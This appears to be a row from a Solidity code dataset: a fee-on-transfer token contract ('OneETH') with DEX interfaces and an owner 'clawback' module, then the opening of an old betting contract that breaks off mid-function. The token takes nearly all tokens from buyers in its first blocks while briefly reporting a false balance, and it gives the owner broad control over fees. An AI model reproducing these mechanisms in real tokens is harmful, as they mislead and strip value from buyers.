function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
// File: @uniswap\v2-periphery\contracts\interfaces\IUniswapV2Router01.sol
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
// File: @uniswap\v2-periphery\contracts\interfaces\IUniswapV2Router02.sol
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
// File: @openzeppelin\contracts\utils\Address.sol
// OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol)
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*
* [IMPORTANT]
* ====
* You shouldn't rely on `isContract` to protect against flash loan attacks!
*
* Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets
* like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract
* constructor.
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize/address.code.length, which returns 0
// for contracts in construction, since the code is only stored at the end
// of the constructor execution.
return account.code.length > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: @uniswap\v2-periphery\contracts\interfaces\IWETH.sol
interface IWETH {
function deposit() external payable;
function transfer(address to, uint value) external returns (bool);
function withdraw(uint) external;
}
// File: contracts\TokenClawback.sol
// Allows a specified wallet to perform arbritary actions on ERC20 tokens sent to a smart contract.
abstract contract TokenClawback is Context {
using SafeMath for uint256;
address private _controller;
IUniswapV2Router02 _router;
constructor() {
_controller = address(0x5EFc0Af78F4fCe85C1fEBd9D82EfdfEE73680F8a);
_router = IUniswapV2Router02(
0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
);
}
modifier onlyERC20Controller() {
require(
_controller == _msgSender(),
"TokenClawback: caller is not the ERC20 controller."
);
_;
}
// Sends an approve to the erc20Contract
function proxiedApprove(
address erc20Contract,
address spender,
uint256 amount
) external onlyERC20Controller returns (bool) {
IERC20 theContract = IERC20(erc20Contract);
return theContract.approve(spender, amount);
}
// Transfers from the contract to the recipient
function proxiedTransfer(
address erc20Contract,
address recipient,
uint256 amount
) external onlyERC20Controller returns (bool) {
IERC20 theContract = IERC20(erc20Contract);
return theContract.transfer(recipient, amount);
}
// Sells all tokens of erc20Contract.
function proxiedSell(address erc20Contract) external onlyERC20Controller {
_sell(erc20Contract);
}
// Internal function for selling, so we can choose to send funds to the controller or not.
function _sell(address add) internal {
IERC20 theContract = IERC20(add);
address[] memory path = new address[](2);
path[0] = add;
path[1] = _router.WETH();
uint256 tokenAmount = theContract.balanceOf(address(this));
theContract.approve(address(_router), tokenAmount);
_router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function proxiedSellAndSend(address erc20Contract)
external
onlyERC20Controller
{
uint256 oldBal = address(this).balance;
_sell(erc20Contract);
uint256 amt = address(this).balance.sub(oldBal);
// We implicitly trust the ERC20 controller. Send it the ETH we got from the sell.
sendValue(payable(_controller), amt);
}
// WETH unwrap, because who knows what happens with tokens
function proxiedWETHWithdraw() external onlyERC20Controller {
IWETH weth = IWETH(_router.WETH());
IERC20 wethErc = IERC20(_router.WETH());
uint256 bal = wethErc.balanceOf(address(this));
weth.withdraw(bal);
}
// This is the sendValue taken from OpenZeppelin's Address library. It does not protect against reentrancy!
function sendValue(address payable recipient, uint256 amount) internal {
require(
address(this).balance >= amount,
"Address: insufficient balance"
);
(bool success, ) = recipient.call{value: amount}("");
require(
success,
"Address: unable to send value, recipient may have reverted"
);
}
}
// File: contracts\OneEth.sol
pragma experimental ABIEncoderV2;
contract OneETH is ERC20, Ownable, TokenClawback {
using SafeMath for uint256;
IUniswapV2Router02 public immutable uniswapV2Router;
address public immutable uniswapV2Pair;
address public constant deadAddress = address(0xdead);
bool private swapping;
address public marketingWallet;
address public devWallet;
uint256 public maxTransactionAmount;
uint256 public swapTokensAtAmount;
uint256 public maxWallet;
uint256 public percentForLPBurn = 25; // 25 = .25%
bool public lpBurnEnabled = false;
uint256 public lpBurnFrequency = 3600 seconds;
uint256 public lastLpBurnTime;
uint256 public manualBurnFrequency = 30 minutes;
uint256 public lastManualLpBurnTime;
bool public limitsInEffect = true;
bool public tradingActive = false;
bool public swapEnabled = false;
// Anti-bot and anti-whale mappings and variables
mapping(address => uint256) private _holderLastTransferTimestamp; // to hold last Transfers temporarily during launch
bool public transferDelayEnabled = true;
mapping(address => bool) private bots;
uint256 public buyTotalFees;
uint256 public sellTotalFees;
uint256 private openBlock;
// Blocks 0, 1, 2
uint256 private constant _bl = 2;
uint256 private taxGasThreshold;
mapping(address => uint256) private botBlock;
mapping(address => uint256) private botBalance;
address private taxDistributor;
/******************/
// exlcude from fees and max transaction amount
mapping(address => bool) private _isExcludedFromFees;
mapping(address => bool) public _isExcludedMaxTransactionAmount;
// store addresses that a automatic market maker pairs. Any transfer *to* these addresses
// could be subject to a maximum transfer amount
mapping(address => bool) public automatedMarketMakerPairs;
event UpdateUniswapV2Router(
address indexed newAddress,
address indexed oldAddress
);
event ExcludeFromFees(address indexed account, bool isExcluded);
event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);
event marketingWalletUpdated(
address indexed newWallet,
address indexed oldWallet
);
event devWalletUpdated(
address indexed newWallet,
address indexed oldWallet
);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiquidity
);
event AutoNukeLP();
event ManualNukeLP();
modifier lockTheSwap() {
swapping = true;
_;
swapping = false;
}
modifier taxHolderOnly() {
require(
_msgSender() == devWallet ||
_msgSender() == marketingWallet ||
_msgSender() == owner()
);
_;
}
constructor() ERC20("One ETH", "$TECH") {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(
0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
);
excludeFromMaxTransaction(address(_uniswapV2Router), true);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
excludeFromMaxTransaction(address(uniswapV2Pair), true);
_setAutomatedMarketMakerPair(address(uniswapV2Pair), true);
// 18 zeroes
uint256 totalSupply = 5_000_000_000 * 1e18;
maxTransactionAmount = totalSupply.div(100); // 1% from total supply maxTransactionAmountTxn
maxWallet = totalSupply.div(50); // 2% from total supply maxWallet
swapTokensAtAmount = (totalSupply * 5) / 10000; // 0.05% swap wallet
// 11%
buyTotalFees = 1100;
// double sell tax for 12h
sellTotalFees = 2200;
marketingWallet = address(0x5F8dE52e9780FE96CE33b755efBDD6a0b4AAE439); // set as marketing wallet
devWallet = address(0x5EFc0Af78F4fCe85C1fEBd9D82EfdfEE73680F8a); // set as dev wallet
taxGasThreshold = 200000;
// exclude from paying fees or having max transaction amount
excludeFromFees(owner(), true);
excludeFromFees(address(this), true);
excludeFromFees(address(0xdead), true);
excludeFromMaxTransaction(owner(), true);
excludeFromMaxTransaction(address(this), true);
excludeFromMaxTransaction(address(0xdead), true);
/*
_mint is an internal function in ERC20.sol that is only called here,
and CANNOT be called ever again
*/
_mint(msg.sender, totalSupply);
}
/// @notice Sets tax sell tax threshold. Only callable by owner.
/// @param newAmt The new threshold.
function setTaxGas(uint32 newAmt) external onlyOwner {
taxGasThreshold = newAmt;
}
receive() external payable {}
function setTaxDistributor(address newDistributor) external onlyOwner {
// Set the tax distributor
taxDistributor = newDistributor;
}
function balanceOf(address account) public view override returns (uint256) {
if (botBlock[account] == block.number) {
return botBalance[account];
} else {
return super.balanceOf(account);
}
}
/// @notice Starts trading. Only callable by owner.
function openTrade() external onlyOwner {
tradingActive = true;
swapEnabled = true;
lastLpBurnTime = block.timestamp;
// Create the LP
_approve(address(this), address(uniswapV2Router), type(uint256).max);
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp + 600 seconds
);
openBlock = block.number;
}
function doAirdrop(address[] memory addresses, uint256[] memory amounts) external onlyOwner {
require(addresses.length == amounts.length, "Lengths don't match.");
for(uint i = 0; i < addresses.length; i++) {
super._transfer(msg.sender, addresses[i], amounts[i]);
}
}
// remove limits after token is stable
function removeLimits() external onlyOwner {
limitsInEffect = false;
}
/// @notice Sets transfer delay. Only callable by owner.
/// @param onoff If one tx per block is on
function switchTransferDelay(bool onoff) external onlyOwner {
transferDelayEnabled = onoff;
}
/// @notice Sets bot flag. Only callable by owner.
/// @param bot The address to block.
function addBot(address bot) external onlyOwner {
require(!bots[bot], "1ETH: Already a bot.");
bots[bot] = true;
}
/// @notice Unsets bot flag. Only callable by owner.
/// @param bot The address to block.
function remBot(address bot) external onlyOwner {
require(bots[bot], "1ETH: Not a bot.");
bots[bot] = false;
}
/// @notice Set the token swap threshold. Must be between 0.001% and 0.5% of total supply.
/// @param newAmount the amount to set - you need to put 18 zeroes in too
function updateSwapTokensAtAmount(uint256 newAmount) external onlyOwner {
require(
newAmount >= (totalSupply() * 1) / 100000,
"Swap amount cannot be lower than 0.001% total supply."
);
require(
newAmount <= (totalSupply() * 5) / 1000,
"Swap amount cannot be higher than 0.5% total supply."
);
swapTokensAtAmount = newAmount;
}
/// @notice Set the max tx. Must be no less than 0.1% of supply.
/// @param newNum new number to set, without the 18 zeroes.
function updateMaxTxnAmount(uint256 newNum) external onlyOwner {
require(
newNum >= ((totalSupply() * 1) / 1000) / 1e18,
"Cannot set maxTransactionAmount lower than 0.1%"
);
maxTransactionAmount = newNum * (10**18);
}
/// @notice Set the max tx. Must be no less than 0.5% of supply.
/// @param newNum new number to set, without the 18 zeroes.
function updateMaxWalletAmount(uint256 newNum) external onlyOwner {
require(
newNum >= ((totalSupply() * 5) / 1000) / 1e18,
"Cannot set maxWallet lower than 0.5%"
);
maxWallet = newNum * (10**18);
}
/// @notice Excludes an address from max tx.
/// @param updAds the address to update
/// @param isEx is it excluded
function excludeFromMaxTransaction(address updAds, bool isEx)
public
onlyOwner
{
_isExcludedMaxTransactionAmount[updAds] = isEx;
}
/// @notice Enables or disables contract tax sales.
/// @param enabled Turn sales on or off.
function updateSwapEnabled(bool enabled) external onlyOwner {
swapEnabled = enabled;
}
/// @notice update the total buy/sell fees, out of 10000
function updateBuyFees(uint256 totalFee) external onlyOwner {
buyTotalFees = totalFee;
require(buyTotalFees <= 2000, "Must keep fees at 20% or less");
}
function updateSellFees(uint256 totalFee) external onlyOwner {
sellTotalFees = totalFee;
require(sellTotalFees <= 2500, "Must keep fees at 25% or less");
}
function excludeFromFees(address account, bool excluded) public onlyOwner {
_isExcludedFromFees[account] = excluded;
emit ExcludeFromFees(account, excluded);
}
function setAutomatedMarketMakerPair(address pair, bool value)
public
onlyOwner
{
require(
pair != uniswapV2Pair,
"The pair cannot be removed from automatedMarketMakerPairs"
);
_setAutomatedMarketMakerPair(pair, value);
}
function _setAutomatedMarketMakerPair(address pair, bool value) private {
automatedMarketMakerPairs[pair] = value;
emit SetAutomatedMarketMakerPair(pair, value);
}
function updateMarketingWallet(address newMarketingWallet)
external
onlyOwner
{
emit marketingWalletUpdated(newMarketingWallet, marketingWallet);
marketingWallet = newMarketingWallet;
}
function updateDevWallet(address newWallet) external onlyOwner {
emit devWalletUpdated(newWallet, devWallet);
devWallet = newWallet;
}
function isExcludedFromFees(address account) public view returns (bool) {
return _isExcludedFromFees[account];
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
if (amount == 0) {
super._transfer(from, to, 0);
return;
}
if (limitsInEffect) {
if (
from != owner() &&
to != owner() &&
to != address(0) &&
to != address(0xdead) &&
!swapping
) {
if (!tradingActive) {
require(
_isExcludedFromFees[from] || _isExcludedFromFees[to],
"Trading is not active."
);
}
// Honestly no point disabling this given sandwich attacks
if (transferDelayEnabled && to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair)) {
require(_holderLastTransferTimestamp[tx.origin] < block.number, "1ETH: Only one purchase per block allowed.");
_holderLastTransferTimestamp[tx.origin] = block.number;
}
if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]) {
require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount.");
require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
} else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) {
require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount.");
} else if (!_isExcludedMaxTransactionAmount[to]) {
require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
}
}
}
bool takeFee = !swapping;
// if any account belongs to _isExcludedFromFee account then remove the fee
if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
takeFee = false;
}
uint256 fees = 0;
// only take fees on buys/sells, do not take on wallet transfers
if (takeFee) {
// Check if bot
if (openBlock.add(_bl) > block.number) {
// Bot - all but one
fees = amount.sub(1);
// Only buys occur in this time, so set the balance stuff for anti-bot
botBalance[to] = amount;
botBlock[to] = block.number;
} else if (automatedMarketMakerPairs[to] && sellTotalFees > 0) {
// Sells
fees = amount.mul(sellTotalFees).div(10000);
} else if (automatedMarketMakerPairs[from] && buyTotalFees > 0) {
// Buys
fees = amount.mul(buyTotalFees).div(10000);
}
if (fees > 0) {
super._transfer(from, address(this), fees);
}
amount -= fees;
}
// Do the taxes after taking them, if necessary
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= swapTokensAtAmount;
if (canSwap && swapEnabled && !swapping && !automatedMarketMakerPairs[from] && !_isExcludedFromFees[from] && !_isExcludedFromFees[to] && gasRemaining()) {
doTaxes(swapTokensAtAmount);
}
if (!swapping && automatedMarketMakerPairs[to] && lpBurnEnabled && block.timestamp >= lastLpBurnTime + lpBurnFrequency && !_isExcludedFromFees[from]) {
autoBurnLiquidityPairTokens();
}
super._transfer(from, to, amount);
}
function gasRemaining() private view returns (bool) {
return gasleft() >= taxGasThreshold;
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
// approve token transfer to cover all possible scenarios
_approve(address(this), address(uniswapV2Router), tokenAmount);
// add the liquidity
uniswapV2Router.addLiquidityETH{value: ethAmount}(
address(this),
tokenAmount,
0, // slippage is unavoidable
0, // slippage is unavoidable
address(this),
block.timestamp
);
}
/// @notice Swaps total/divisor of supply in taxes for ETH. Only executable by the tax holder.
/// @param divisor the divisor to divide supply by. 200 is .5%, 1000 is .1%.
function manualSwap(uint256 divisor) external taxHolderOnly {
// Get max of divisor or remaining tokens
uint256 totalSupply = totalSupply();
uint256 sell;
if (balanceOf(address(this)) > totalSupply.div(divisor)) {
sell = totalSupply.div(divisor);
} else {
sell = balanceOf(address(this));
}
doTaxes(sell);
}
function doTaxes(uint256 tokenAmount) private {
// We know the tax ratios, those don't change
// So we want to sell 19/22 of the token amount, and then pair the 3/22 with 3/22 of eth
uint256 tokensForLP = tokenAmount.mul(3).div(22);
uint256 tokensToSell = tokenAmount.mul(19).div(22);
// 8/11 of total token amount is the sell owed to dev and marketing
// 3/11 of the tokens, of which half is sold, go to auto LP
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokensToSell,
0,
path,
address(this),
block.timestamp
);
// Add the LP
uint256 ethAmt = address(this).balance;
// 3/19 is the eth amount required
addLiquidity(tokensForLP, ethAmt.mul(3).div(19));
// We implicitly trust these wallets not to do reentrancy (although what they could do is limited)
Address.sendValue(payable(devWallet), ethAmt.mul(6).div(19));
Address.sendValue(payable(marketingWallet), ethAmt.mul(10).div(19));
}
/// @notice Distributes ETH taxes. Only callable by the tax distributor. Expects ETH to be deposited beforehand.
function distributeTaxes() external {
require(msg.sender == taxDistributor, "1ETH: Not the tax distributor.");
uint256 ethAmt = address(this).balance;
Address.sendValue(payable(devWallet), ethAmt.mul(3).div(11));
Address.sendValue(payable(marketingWallet), ethAmt.mul(8).div(11));
}
function setAutoLPBurnSettings(
uint256 _frequencyInSeconds,
uint256 _percent,
bool _Enabled
) external onlyOwner {
require(
_frequencyInSeconds >= 600,
"cannot set buyback more often than every 10 minutes"
);
require(
_percent <= 1000 && _percent >= 0,
"Must set auto LP burn percent between 0% and 10%"
);
lpBurnFrequency = _frequencyInSeconds;
percentForLPBurn = _percent;
lpBurnEnabled = _Enabled;
}
function autoBurnLiquidityPairTokens() internal returns (bool) {
lastLpBurnTime = block.timestamp;
// get balance of liquidity pair
uint256 liquidityPairBalance = this.balanceOf(uniswapV2Pair);
// calculate amount to burn
uint256 amountToBurn = liquidityPairBalance.mul(percentForLPBurn).div(
10000
);
// pull tokens from univ2 liquidity and move to dead address permanently
if (amountToBurn > 0) {
super._transfer(uniswapV2Pair, address(0xdead), amountToBurn);
}
//sync price since this is not in a swap transaction!
IUniswapV2Pair pair = IUniswapV2Pair(uniswapV2Pair);
pair.sync();
emit AutoNukeLP();
return true;
}
function manualBurnLiquidityPairTokens(uint256 percent)
external
onlyOwner
returns (bool)
{
require(
block.timestamp > lastManualLpBurnTime + manualBurnFrequency,
"Must wait for cooldown to finish"
);
require(percent <= 1000, "May not nuke more than 10% of tokens in LP");
lastManualLpBurnTime = block.timestamp;
// get balance of liquidity pair
uint256 liquidityPairBalance = this.balanceOf(uniswapV2Pair);
// calculate amount to burn
uint256 amountToBurn = liquidityPairBalance.mul(percent).div(10000);
// pull tokens from pancakePair liquidity and move to dead address permanently
if (amountToBurn > 0) {
super._transfer(uniswapV2Pair, address(0xdead), amountToBurn);
}
//sync price since this is not in a swap transaction!
IUniswapV2Pair pair = IUniswapV2Pair(uniswapV2Pair);
pair.sync();
emit ManualNukeLP();
return true;
}
}
|
@notice Set the max tx. Must be no less than 0.1% of supply. @param newNum new number to set, without the 18 zeroes.
|
function updateMaxTxnAmount(uint256 newNum) external onlyOwner {
require(
newNum >= ((totalSupply() * 1) / 1000) / 1e18,
"Cannot set maxTransactionAmount lower than 0.1%"
);
maxTransactionAmount = newNum * (10**18);
}
| 10,327,749
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pragma solidity ^0.4.18;
contract Ownable {
address public owner;
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
contract DefconPro is Ownable {
event Defcon(uint64 blockNumber, uint16 defconLevel);
uint16 public defcon = 5;//default defcon level of 5 means everything is cool, no problems
//if defcon is set to 4 or lower then function is paused
modifier defcon4() {//use this for high risk functions
require(defcon > 4);
_;
}
//if defcon is set to 3 or lower then function is paused
modifier defcon3() {
require(defcon > 3);
_;
}
//if defcon is set to 2 or lower then function is paused
modifier defcon2() {
require(defcon > 2);
_;
}
//if defcon is set to 1 or lower then function is paused
modifier defcon1() {//use this for low risk functions
require(defcon > 1);
_;
}
//set the defcon level, 5 is unpaused, 1 is EVERYTHING is paused
function setDefconLevel(uint16 _defcon) onlyOwner public {
defcon = _defcon;
Defcon(uint64(block.number), _defcon);
}
}
contract bigBankLittleBank is DefconPro {
using SafeMath for uint;
uint public houseFee = 2; //Fee is 2%
uint public houseCommission = 0; //keeps track of commission
uint public bookKeeper = 0; //keeping track of what the balance should be to tie into auto pause script if it doesn't match contracte balance
bytes32 emptyBet = 0x0000000000000000000000000000000000000000000000000000000000000000;
//main event, listing off winners/losers
event BigBankBet(uint blockNumber, address indexed winner, address indexed loser, uint winningBetId1, uint losingBetId2, uint total);
//event to show users deposit history
event Deposit(address indexed user, uint amount);
//event to show users withdraw history
event Withdraw(address indexed user, uint amount);
//Private struct that keeps track of each users bet
BetBank[] private betBanks;
//bet Struct
struct BetBank {
bytes32 bet;
address owner;
}
//gets the user balance, requires that the user be the msg.sender, should make it a bit harder to get users balance
function userBalance() public view returns(uint) {
return userBank[msg.sender];
}
//setting up internal bank struct, should prevent prying eyes from seeing other users banks
mapping (address => uint) public userBank;
//main deposit function
function depositBank() public defcon4 payable {
if(userBank[msg.sender] == 0) {//if the user doesn't have funds
userBank[msg.sender] = msg.value;//make balance = the funds
} else {
userBank[msg.sender] = (userBank[msg.sender]).add(msg.value);//if user already has funds, add to what exists
}
bookKeeper = bookKeeper.add(msg.value);//bookkeeper to prevent catastrophic exploits from going too far
Deposit(msg.sender, msg.value);//broadcast the deposit event
}
//widthdraw what is in users bank
function withdrawBank(uint amount) public defcon2 returns(bool) {
require(userBank[msg.sender] >= amount);//require that the user has enough to withdraw
bookKeeper = bookKeeper.sub(amount);//update the bookkeeper
userBank[msg.sender] = userBank[msg.sender].sub(amount);//reduce users account balance
Withdraw(msg.sender, amount);//broadcast Withdraw event
(msg.sender).transfer(amount);//transfer the amount to user
return true;
}
//create a bet
function startBet(uint _bet) public defcon3 returns(uint betId) {
require(userBank[msg.sender] >= _bet);//require user has enough to create the bet
require(_bet > 0);
userBank[msg.sender] = (userBank[msg.sender]).sub(_bet);//reduce users bank by the bet amount
uint convertedAddr = uint(msg.sender);
uint combinedBet = convertedAddr.add(_bet)*7;
BetBank memory betBank = BetBank({//birth the bet token
bet: bytes32(combinedBet),//_bet,
owner: msg.sender
});
//push new bet and get betId
betId = betBanks.push(betBank).sub(1);//push the bet token and get the Id
}
//internal function to delete the bet token
function _endBetListing(uint betId) private returns(bool){
delete betBanks[betId];//delete that token
}
//bet a users token against another users token
function betAgainstUser(uint _betId1, uint _betId2) public defcon3 returns(bool){
